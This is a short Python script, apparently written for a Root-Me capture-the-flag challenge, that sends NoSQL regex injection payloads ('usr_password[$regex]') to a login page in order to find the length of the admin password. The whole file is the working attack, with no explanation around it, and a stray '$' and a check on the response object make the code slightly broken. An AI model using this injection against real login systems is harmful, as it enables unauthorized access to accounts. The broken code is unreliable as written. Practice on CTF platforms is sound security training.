ss.py

import requests

for j in range(256):
        header = {'Host':'dev.root-me.local'}
        payload = {'usr_name':'admin' , 'usr_password[$regex]':'.{'+str(j)+'}'}
        page = requests.post("http://ctf14.root-me.org/index.php?page=login.php",params=payload,headers=header)$
        if "exist" in page:
            flag_len = j
            print("\rFlag is {} long".format(flag_len), end="")
        else:
            break
print()